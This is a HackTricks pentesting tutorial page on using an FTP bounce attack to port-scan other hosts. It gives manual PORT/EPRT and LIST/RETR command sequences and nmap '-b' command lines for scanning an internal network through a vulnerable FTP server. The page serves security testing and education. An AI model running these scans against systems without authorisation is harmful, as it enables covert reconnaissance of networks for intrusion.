FTP Bounce attack - Scan - HackTricks

# FTP Bounce attack - Scan

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## FTP Bounce - Scanning

### Manual

1. Connect to vulnerable FTP

2. Use **`PORT`**or `EPRT`(but only 1 of them) to make it establish a connection with the <IP:Port> you want to scan:

   `PORT 172,32,80,80,0,8080`
   `EPRT |2|172.32.80.80|8080|`

3. Use `LIST`(this will just send to the connected <IP:Port> the list of current files in the FTP folder) and check for the possible responses: `150 File status okay` (This means the port is open) or `425 No connection established` (This means the port is closed)

   1. Instead of `LIST` you could also use `RETR /file/in/ftp` and look for similar `Open/Close` responses.

Example Using PORT (port 8080 of 172.32.80.80 is open and port 7777 is closed):

Same example using `EPRT`(authentication omitted in the image):

Open port using `EPRT` instead of `LIST` (different env)

### nmap

    nmap -b <name>:<pass>@<ftp_server> <victim>
    nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP
    nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443

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